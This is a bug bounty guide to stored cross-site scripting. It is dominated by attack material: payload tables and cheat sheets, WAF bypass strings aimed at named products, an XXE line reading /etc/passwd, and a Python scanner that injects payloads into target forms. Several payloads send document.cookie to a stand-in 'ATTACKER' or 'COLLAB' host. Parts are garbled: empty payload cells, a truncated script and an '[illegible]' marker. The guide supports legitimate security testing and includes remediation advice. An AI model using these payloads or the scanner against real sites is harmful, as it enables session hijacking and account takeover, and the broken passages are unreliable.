

Stored XSS Bug Bounty Guide

Finding Persistent Cross-Site Scripting in Modern Applications

Stored XSS

Persistent

High Impact

Automation

May 2026



Table of Contents

1. What is Stored XSS
2. Where to Test — Storage Points
3. Payload Crafting for Stored XSS
4. Encoding & Filter Bypass
5. WAF Evasion Techniques
6. DOM-Based Stored XSS
7. Automation & Scripting
8. Report Templates
9. Tools & One-Liners
10. Quick Cheat Sheet

1. What is Stored XSS

Stored XSS (also called Persistent XSS) occurs when user-supplied data is saved to the server (database, file system, cache) and later rendered in a web page without proper sanitization. Unlike reflected XSS, the payload persists and affects every user who views the infected content.

Stored vs Reflected vs Blind XSS

Type	Storage	Persistence	Victim Reach	Detection
Reflected XSS	None	Single request only	One victim per link	Immediate popup
Stored XSS	Database / file	Persistent until deleted	All viewers of content	Popup on page load
Blind XSS	Database / file	Persistent	Admin / backend users	Callback only

Why Stored XSS is Critical

- **No user interaction required:** Victims simply visit a page and get compromised
- **Affects all users:** Every visitor to the infected page executes the payload
- **Worm potential:** Payload can self-propagate (post comments, send messages) to infect more users
- **Defacement:** Persistent modification of visible page content
- **Session hijacking at scale:** Steal cookies from every visitor automatically
- **Keylogging on popular pages:** Capture keystrokes from all users on infected pages

The Stored XSS Lifecycle

1. Attacker submits malicious payload via any input form
2. Application stores payload in database without sanitization
3. Any user (including victim) requests page containing stored data
4. Server retrieves payload from database and includes it in HTML response
5. Victim browser renders HTML containing the unsanitized payload
6. Payload executes JavaScript in victim context
7. Attacker achieves session theft, defacement, or further exploitation
8. Payload remains active, compromising all future visitors

Common Impact Scenarios

Scenario	Payload Action	Result
----------	----------------	--------

Forum comment worm	Post comment + steal cookie + auto-repost	All forum users compromised
Product review keylogger	Capture keystrokes on product page	Payment info stolen from buyers
Profile defacement	Replace profile content with phishing	Reputation damage + phishing
Admin dashboard takeover	Execute in admin view of user data	Full application compromise
Stored credential harvester	Fake login form in stored content	Multiple account takeovers

⚠ **Severity Note:** Stored XSS on high-traffic pages (homepage, product pages, checkout) is almost always rated **Critical (CVSS 9.0+)** due to mass victim potential and no user-interaction requirement.

🔑 E-Commerce & Transactional Features

```
# Product descriptions (rich text or plain)
Payload in product_desc → Product page → All buyers see XSS

# Seller / vendor profiles
Payload in seller_name, shop_description → Marketplace listing

# Order notes / special instructions
Payload in order_notes → Admin order view, packing slip

# Gift messages
Payload in gift_message → Recipient email, order summary

# Shipping labels
Payload in recipient_name, address_line_2 → Printed labels, admin view

# Invoice / receipt templates
Payload in company_name (if user is seller) → Buyer invoice

# Wishlist names / collection titles
Payload in wishlist_name → Public wishlist page, share links

# Coupon / discount codes (if descriptive)
Payload in coupon_description → Checkout page, cart
```

💡 **Testing Strategy:** Test EVERY field that accepts text input. Even fields that seem safe (like "timezone" or "job title") may be rendered in admin dashboards, search results, or export files

without sanitization.

🔑 Context-Specific Stored XSS

Context	Payload	Notes
HTML Body	<code></code>	Most common, most reliable
HTML Attribute (double quoted)	<code>" onerror=fetch("//ATTACKER") x="</code>	Breaks out of value="..."
HTML Attribute (single quoted)	<code>' onerror=fetch("//ATTACKER") x='</code>	Breaks out of value='...'
JavaScript string	<code>";fetch("//ATTACKER/?c="+document.cookie);//</code>	Closes string, executes, comments rest
JavaScript template literal	<code>\${fetch("//ATTACKER/?c="+document.cookie)}</code>	Executes inside backtick strings
URL / href	<code>javascript:fetch("//ATTACKER/?c="+document.cookie)</code>	Protocol-based execution
Markdown	<code>[click](javascript:fetch("//ATTACKER"))</code>	Some markdown parsers allow JS protocol
Rich text (CKEditor)	<code></code>	Survives visual editor sanitization

⚠ **Ethics Warning:** Self-propagating worm payloads are for **proof-of-concept only**. In bug bounty programs, describe the worm capability without actually deploying it. Show the code that *would* propagate, but do not let it spread.

4. Encoding & Filter Bypass

Stored XSS payloads must bypass input filters, survive database storage, and execute in the output context. These techniques handle each stage.

Input Filter Bypass Techniques

```
# Technique 1: HTML Entity Encoding
# If < is filtered but & is allowed, use entities:
<img src=x onerror=alert(1)>
<img src=x onerror=alert(1)>

# Technique 2: URL Encoding
?comment=%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E

# Technique 3: Double URL Encoding
?comment=%253Cimg%2520src%253Dx%2520onerror%253Dalert(1)%253E

# Technique 4: Unicode / UTF-8 Overlong
# < (0x3C) encoded as overlong UTF-8: %C0%BC
<img src=x onerror=fetch(1)> # fetch as entities

# Technique 5: Case Variation
<iMg SrC=x OnErRoR=alert(1)>
<SvG OnLoAd=alert(1)>

# Technique 6: Tab/NewLine in Tags (HTML5)
<img src=x onerror=alert(1)>
<img/src=x/onerror=alert(1)>
<img src=x onerror=alert(1)>

# Technique 7: Comment Injection
<!--><img src=x onerror=alert(1)><!-- -->
```

Output Context Encoding Bypass

```
# If output in JavaScript context:
# Single quote context:
';alert(1);//
# Double quote context:
";alert(1);//
# Template literal context:
`${alert(1)}`

# If output in CSS context:
}</style><script>alert(1)</script><style>

# If output in JSON context (rendered as HTML):
```

```
# If output in attribute with HTML entities decoded:
" onmouseover=&#97;&#108;&#101;&#114;&#116;(1) "

# If output in SVG context:
<svg><desc>&lt;img src=x onerror=alert(1)&gt;</desc></svg>

# If output in XML context:
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>
```

🔑 Database Storage Filter Bypass

```
# Some applications sanitize on input, some on output
# Test which stage applies sanitization:

# 1. Submit: <b>TEST</b>
# 2. If page shows bold TEST = storage does NOT escape
# 3. If page shows literal <b>TEST</b> = storage DOES escape

# Bypasses for common storage sanitizers:

# HTMLPurifier: try nested malformed tags
<xmp><img src=x onerror=alert(1)></xmp>

# DOMPurify (client-side only): bypass server filter
# Server allows: <img src=x onerror=alert(1)>
# DOMPurify removes onerror client-side
# Bypass: use SVG animate onbegin
<svg><animate onbegin=alert(1)></animate></svg>

# strip_tags(): construct tag with JavaScript
# If strip_tags removes <tag> but leaves content:
< img src=x onerror=alert(1) >
# strip_tags removes < and > leaving: img src=x onerror=alert(1)
# If rendered in HTML attribute context, this becomes valid!

# htmlentities(): use backticks or no quotes
# If all quotes are encoded:
<img src=x onerror=alert`1`> # backtick execution, no quotes needed

# htmlspecialchars(): use different contexts
# If <>" are encoded in HTML body:
# Try JSON response context or JavaScript context instead
```

💡 **Three-Stage Testing:** (1) Submit payload, (2) Check if stored in raw form, (3) Check if rendered without encoding. If all three pass, Stored XSS confirmed.

5. WAF Evasion Techniques

Web Application Firewalls block common XSS patterns. These techniques bypass WAF rules for stored XSS payloads that must survive both submission and later rendering.

🔑 WAF Rule Categories & Bypasses

WAF Rule	Bypass Technique	Stored XSS Payload
Blocks <script>	Use event handler tags	
Blocks alert()	Alternative functions	prompt(1), confirm(1), console.log(1)
Blocks () parens	Backtick execution	alert`1`
Blocks onerror/onload	Alternative events	onpointerenter, ontoggle, onanimationstart
Blocks < and >	HTML entities	
Blocks spaces	Slash separator	<img/src=x/onerror=alert(1)>
Blocks javascript:	Data URI	data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwwc2NyaXB0Pg==
Blocks document.cookie	Property access alternatives	window.document.cookie, document["cookie"]
Blocks fetch()	Alternative transports	new Image().src=..., navigator.sendBeacon
Double-decode WAF	Triple encoding	%25253Cimg%252520...%25253E
Case-sensitive filter	Mixed case + entities	
Length limit	Short payloads	

🔑 WAF-Specific Stored XSS Signatures

[illegible]

```
# AWS WAF Bypass  
# AWS WAF regex misses nested encoding:  
%25%33%43img%25%32%30src%25%33%44x%25%32%30onerror%25%33%44alert%25%32%38%31%25%32%39%25%33%45%  
  
# F5 ASM Bypass  
# F5 misses JSON unicode escapes in body:  
POST /api/comment HTTP/1.1  
Content-Type: application/json
```

```
# Imperva Bypass  
# Imperva blocks javascript: but misses data: and about:  
data:text/html,<script>alert(1)</script>  
about:blank#<script>alert(1)</script>
```

◆ **Golden Rule:** For stored XSS WAF bypass, the payload must bypass the WAF twice: once on submission (input) and once when rendered for other users (output). If the WAF only inspects input, a bypass that works once may fail on output rendering. Test both stages.

6. DOM-Based Stored XSS

DOM-based stored XSS occurs when the server stores data safely, but client-side JavaScript retrieves and inserts it into the DOM unsafely. The vulnerability is in the browser, not the server.

Common DOM XSS Sources

Source	How Data Flows	Vulnerable Sink	Detection
localStorage	App stores user input in localStorage, reads it later	innerHTML, document.write	Inspect localStorage for raw HTML
sessionStorage	Session data saved, rendered on next page	innerHTML, eval	Check sessionStorage keys
IndexedDB	Client-side database stores rich content	innerHTML, insertAdjacentHTML	DevTools -> Application -> IndexedDB
WebSQL (legacy)	SQLite in browser stores content	innerHTML	DevTools -> WebSQL
Cookie values	Cookie set by server, read by JS	innerHTML, eval	Check cookie read operations
URL hash / query	SPA stores state in URL hash	innerHTML, location	Route handlers that parse hash
postMessage	Cross-origin messages stored	innerHTML, eval	message event listeners
WebSocket messages	Real-time messages cached	innerHTML, jQuery.html	WS message handlers

DOM XSS Sinks to Test

Dangerous sinks that execute stored content:

```
document.innerHTML = stored_data
document.write(stored_data)
eval(stored_data)
setTimeout(stored_data, 0)
setInterval(stored_data, 1000)
Function(stored_data)()
jQuery(stored_data)
$.html(stored_data)
element.insertAdjacentHTML("beforeend", stored)
element.outerHTML = stored_data
```

```
location.href = stored_data
location.replace(stored_data)
window.open(stored_data)

# Safe sinks (these escape content):
element.textContent = stored_data
element.innerText = stored_data
document.createTextNode(stored_data)
element.setAttribute("class", stored_data)
```

🔑 DOM-Based Stored XSS Payloads

```
# If the application reads from localStorage into innerHTML:

# 1. Inject payload into localStorage via XSS or devtools
localStorage.setItem("user_bio", "<img alt='payload'>")

# 2. The application renders it on next page load:
document.getElementById("bio").innerHTML = localStorage.getItem("user_bio")

# 3. Payload executes every time the page loads

# If the application uses jQuery .html():
$("#profile").html(sessionStorage.getItem("profile_data"))

# Payload for sessionStorage:
sessionStorage.setItem("profile_data", "")

# If the application uses postMessage and stores messages:
window.addEventListener("message", e=>{
  messages.push(e.data)
  $("#chat").html(messages.join("
"))
})

# Payload via postMessage:
targetWindow.postMessage("<img alt='payload'>", "*")

# If application renders from URL hash (SPA routing):
const content = decodeURIComponent(location.hash.slice(1))
document.getElementById("content").innerHTML = content

# Payload URL:
https://target.com/app#<img alt='payload'>

# Note: This is technically reflected + DOM, but the hash persists in browser history
```

💡 **Detection Tip:** To find DOM-based stored XSS, search the JavaScript bundle for `.innerHTML`, `.html()`, `document.write`, and `eval()`. Trace backwards to find if the data source is user-

controllable (localStorage, API response, WebSocket, postMessage).

7. Automation & Scripting

Automate stored XSS testing across multiple endpoints, input fields, and contexts with detection confirmation.

stored_xss_scanner.py

```
#!/usr/bin/env python3
# Stored XSS Scanner with Multi-Context Detection
import argparse, urllib.parse, requests, json, re, time
from concurrent.futures import ThreadPoolExecutor

PAYLOADS = {
    "html_body": [
        "<script>alert(document.domain)</script>",
        "<img src=x onerror=alert(document.domain)>",
        "<svg onload=alert(document.domain)>",
        "<body onload=alert(document.domain)>",
    ],
    "attr_double": [
        "'><img src=x onerror=alert(1)>'",
        '" onmouseover=alert(1) "',
    ],
    "attr_single": [
        "'><img src=x onerror=alert(1)>",
        '" onmouseover=alert(1) "',
    ],
    "js_double": [
        "';alert(1);//'",
        '"-alert(1)-"',
    ],
    "js_single": [
        "';alert(1);//",
        '\\-alert(1)-"',
    ],
    "encoded": [
        "<img src=x onerror=&#x61;&#x6C;&#x65;&#x72;&#x74;(1)>",
        "%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E",
    ],
}

def submit_payload(url, field, payload, method="POST", data=None, headers=None):
    try:
        if method == "GET":
            test_url = f"{url}?{field}={urllib.parse.quote(payload)}"
            resp = requests.get(test_url, headers=headers, timeout=10, verify=False)
        else:
            post_data = data.copy() if data else {}
```

```

resp = requests.post(url, data=post_data, headers=headers, timeout=10, verify=False)
    return {
        "field": field,
        "payload": payload[:50],
        "status": resp.status_code,
        "success": resp.status_code in [200, 201, 302],
    }
except Exception as e:
    return {"field": field, "error": str(e)}

def verify_stored(url, field, payload, headers=None):
    """Check if payload is reflected back from storage."""
    try:
        resp = requests.get(url, headers=headers, timeout=10, verify=False)
        if payload in resp.text:
            return "STORED_RAW"
        enc = payload.replace("<", "&lt;").replace(">", "&gt;")
        if enc in resp.text:
            return "STORED_ENCODED"
        return "NOT_FOUND"
    except Exception as e:
        return f"VERIFY_ERROR: {e}"

def scan(url, fields, method="POST", data=None, headers=None, verify_url=None):
    print(f"[+] Scanning {url}")
    results = []
    for field in fields:
        for ctx, payloads in PAYLOADS.items():
            for p in payloads:
                result = submit_payload(url, field, p, method, data, headers)
                if result.get("success"):
                    print(f"  [>] {field}: {p[:40]}... (HTTP {result['status']})")
                    if verify_url:
                        time.sleep(2) # Wait for storage
                        stored = verify_stored(verify_url, field, p, headers)
                        result["stored"] = stored
                        if "RAW" in stored:
                            print(f"    [!] STORED XSS CONFIRMED: {field}")
                    results.append(result)
    return results

if __name__ == "__main__":
    import urllib3; urllib3.disable_warnings()
    p = argparse.ArgumentParser()
    p.add_argument("-u", "--url", required=True, help="Submission URL")
    p.add_argument("-f", "--fields", required=True, help="Fields to test (comma-separated)")
    p.add_argument("-v", "--verify", help="URL to verify stored payload")
    p.add_argument("-m", "--method", default="POST", choices=["GET", "POST"])
    p.add_argument("-H", "--header", action="append")
    p.add_argument("-o", "--output", default="stored_xss_results.json")
    args = p.parse_args()
    headers = {"User-Agent": "Mozilla/5.0"}
    if args.header:

```



```
fields = [f.strip() for f in args.fields.split(",")]
results = scan(args.url, fields, args.method, headers=headers, verify_url=args.verify)
with open(args.output, "w") as f: json.dump(results, f, indent=2)
print(f"[+] Results saved to {args.output}")
```

Usage Examples

```
# Basic scan - submit payloads and check storage
python3 stored_xss_scanner.py -u "https://target.com/comment" -f "name,email,comment" -v
"https://target.com/comments"

# With authentication
python3 stored_xss_scanner.py -u "https://target.com/post" -f "title,body" -v "https://target.com/feed" -H
"Cookie: session=abc123"

# Mass test common stored XSS endpoints
for endpoint in comment review post feedback contact; do
    python3 stored_xss_scanner.py -u "https://target.com/$endpoint" -f "name,message,body" -v
    "https://target.com/$endpoint/list"; done

# Bash one-liner: quick stored XSS probe
FIELD="comment"; PAYLOAD="
```

8. Report Templates

Copy-paste report templates for different stored XSS scenarios. Adjust severity based on impact and reach.

Template 1: Basic Stored XSS (Comment System)

TITLE: Stored XSS via Comment System on [Endpoint]

SEVERITY: High

CVSS: 7.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N)

DESCRIPTION:

The comment submission form on /article/123 allows users to submit comments that are stored in the database and rendered on the article page without proper HTML sanitization. Any visitor to the article page will execute the injected JavaScript payload.

STEPS TO REPRODUCE:

1. Navigate to <https://target.com/article/123>
2. Submit a comment with the following payload:

3. The comment is accepted and stored successfully
4. Refresh the article page or visit from a different browser
5. Observe that `alert(document.domain)` executes automatically
6. The payload executes for ALL visitors to the article page

PROOF OF CONCEPT:

[Screenshot showing stored comment and alert popup on page load]

IMPACT:

- Session hijacking: steal cookies from every visitor to infected page
- Keylogging: capture keystrokes of users on infected pages
- Defacement: modify page content visible to all visitors
- Worm propagation: payload can self-replicate via auto-posting
- Phishing: inject fake login forms that harvest credentials

REMEDIATION:

1. HTML-encode all user input before rendering (< to <, > to >)
2. Implement Content-Security-Policy with strict script-src
3. Use a sanitization library like DOMPurify on client-side
4. Set session cookies as HttpOnly to prevent theft via XSS
5. Validate and sanitize input on server before storage

REFERENCES:

- CWE-79: Improper Neutralization of Input During Web Page Generation
- OWASP: Stored Cross Site Scripting
- https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html

🔑 Template 2: Stored XSS with Session Hijacking

TITLE: Stored XSS Leading to Mass Session Hijacking via [Feature]

SEVERITY: Critical

CVSS: 9.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N)

DESCRIPTION:

The [Feature] on [Endpoint] stores user input without sanitization and renders it on a high-traffic page visited by authenticated users. An attacker can inject a payload that steals session cookies from every visitor and exfiltrates them to an attacker-controlled server.

STEPS TO REPRODUCE:

1. Submit the following payload via [Feature]:



2. The payload is stored and rendered on [Public Page]

3. Any authenticated user visiting [Public Page] sends their session cookie to ATTACKER.com

4. Attacker can use stolen cookies to impersonate victims

PROOF OF CONCEPT:

[Screenshot of attacker server logs showing exfiltrated cookies]

[Video demonstrating session takeover with stolen cookie]

IMPACT:

- Mass account takeover of all visitors to infected page
- Access to user data, orders, messages, and settings
- Ability to perform actions as victim users
- Complete loss of confidentiality and integrity for affected users

REMEDIATION:

1. Implement strict output encoding for all user-generated content
2. Set HttpOnly flag on all session cookies
3. Implement CSP: default-src self; script-src none
4. Use a mature HTML sanitization library on both input and output
5. Conduct regular security audits of all content rendering paths

🔑 Template 3: Self-Propagating XSS Worm

TITLE: Self-Propagating Stored XSS Worm via [Feature]

SEVERITY: Critical

CVSS: 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

DESCRIPTION:

The [Feature] on [Endpoint] contains a stored XSS vulnerability that can be exploited to create a self-propagating worm. When a user views the infected content, the payload executes in their browser, steals their session, and automatically posts the same malicious payload to new

STEPS TO REPRODUCE:

1. Submit initial payload to [Feature]
2. Any user viewing the content executes the worm
3. Worm automatically posts new infected content via victim session
4. Infection spreads exponentially across the platform

WORM PAYLOAD (Proof of Concept - NOT deployed):

IMPACT:

- Platform-wide infection within hours
- Every user account compromised
- Content integrity destroyed
- Reputational damage and potential legal liability
- Complete platform shutdown may be required for remediation

REMEDIATION:

1. Emergency patch: disable [Feature] until fixed
2. Implement strict Content Security Policy
3. Add rate limiting on posting endpoints
4. Implement automated content scanning for XSS payloads
5. Require CAPTCHA for content submission
6. Add webhook notifications for suspicious posting patterns

```
# Kxss pipeline echo "target.com" | waybackurls | kxss -H "Cookie: session=abc" # DOM XSS
detection with DOMDig domdig -u https://target.com -o dom_xss.json # ===== ENCODING
HELPERS ===== # URL encode a payload python3 -c "import urllib.parse;
print(urllib.parse.quote('<img alt="xss" />'))" # HTML entity encode python3 -c "s='<img alt="xss" />'; print(''.join(f'&#x{ord(c):02x}' for c in s))" #
Base64 for data URI echo -n "" | base64 # Generate JS escape sequence python3 -c "s='alert(1)';
print(''.join(f'\\x{ord(c):02x}' for c in s))"
```

10. Quick Cheat Sheet

Top 15 Stored XSS Targets

1. Forum / Community posts
2. Comment systems
3. Blog / article comments
4. Product reviews
5. Q&A answers
6. Social media posts
7. Chat / messages
8. User profile bio
9. Display name / username
10. Contact / support forms
11. CMS page content
12. Email templates
13. Notification messages
14. Import / CSV data
15. Admin log viewer (headers)

Payload Priority Order

1. `<img src=x onerror=alert(1)>`
2. `<img src=x onerror=fetch("//COLLAB")>`
3. `<svg onload=alert(1)>`
4. `<script>alert(1)</script>`
5. `<body onload=alert(1)>`
6. `<input autofocus onfocus=alert(1)>`
7. `<details open ontoggle=alert(1)>`
8. `<audio src=x onerror=alert(1)>`
9. `<video src=x onerror=alert(1)>`
10. `<iframe src=javascript:alert(1)>`

Filter Bypass Priority

1. No encoding (test first)
2. HTML entities (`<`)
3. Case variation (`<iMg>`)
4. Alternative events (`onpointerenter`)
5. Alternative functions (`prompt`, `confirm`)
6. No parentheses (`alert`1``)
7. Data URI (`data:text/html,...`)
8. Double URL encoding (`%253C`)
9. Unicode overlong (`%C0%BC`)
10. Comment injection (`<!-->`)

Severity Guide

Scenario	Severity
Single user profile XSS	Medium
Public comment XSS	High
Product page XSS	High
Homepage / global banner XSS	Critical
Session hijacking XSS	Critical
Self-propagating worm	Critical 9.8+
Admin panel stored XSS	Critical

🔑 Stored XSS Testing Checklist

- [] Identify all text input fields in the application
- [] Test each field with basic  payload
- [] Confirm payload is accepted and stored (check success response)
- [] Visit page where stored content is displayed
- [] Verify payload executes (alert popup, DOM change, callback)
- [] Test from different browser / session to confirm universal execution
- [] Verify other users see the same execution
- [] Test encoding variants if basic payload fails
- [] Check for WAF bypass opportunities
- [] Test DOM-based stored XSS (localStorage, sessionStorage)
- [] Document impact: session theft, defacement, worm potential
- [] Capture screenshots and video evidence
- [] Write report with clear remediation steps

CONFIRMED STORED XSS when: payload stored + executes for multiple users

🔑 Three-Stage Verification

Stage	What to Check	How to Test	Pass Criteria
1. Input	Payload accepted by server	Submit payload, check HTTP 200	Server returns success
2. Storage	Payload stored in database	Check if payload visible in response	Payload reflected in raw form
3. Execution	Payload executes in browser	Load page, check for alert/callback	JavaScript executes

💡 The Stored XSS Formula:

Storage Point + Unsanitized Output + Universal Execution = **High/Critical Bounty**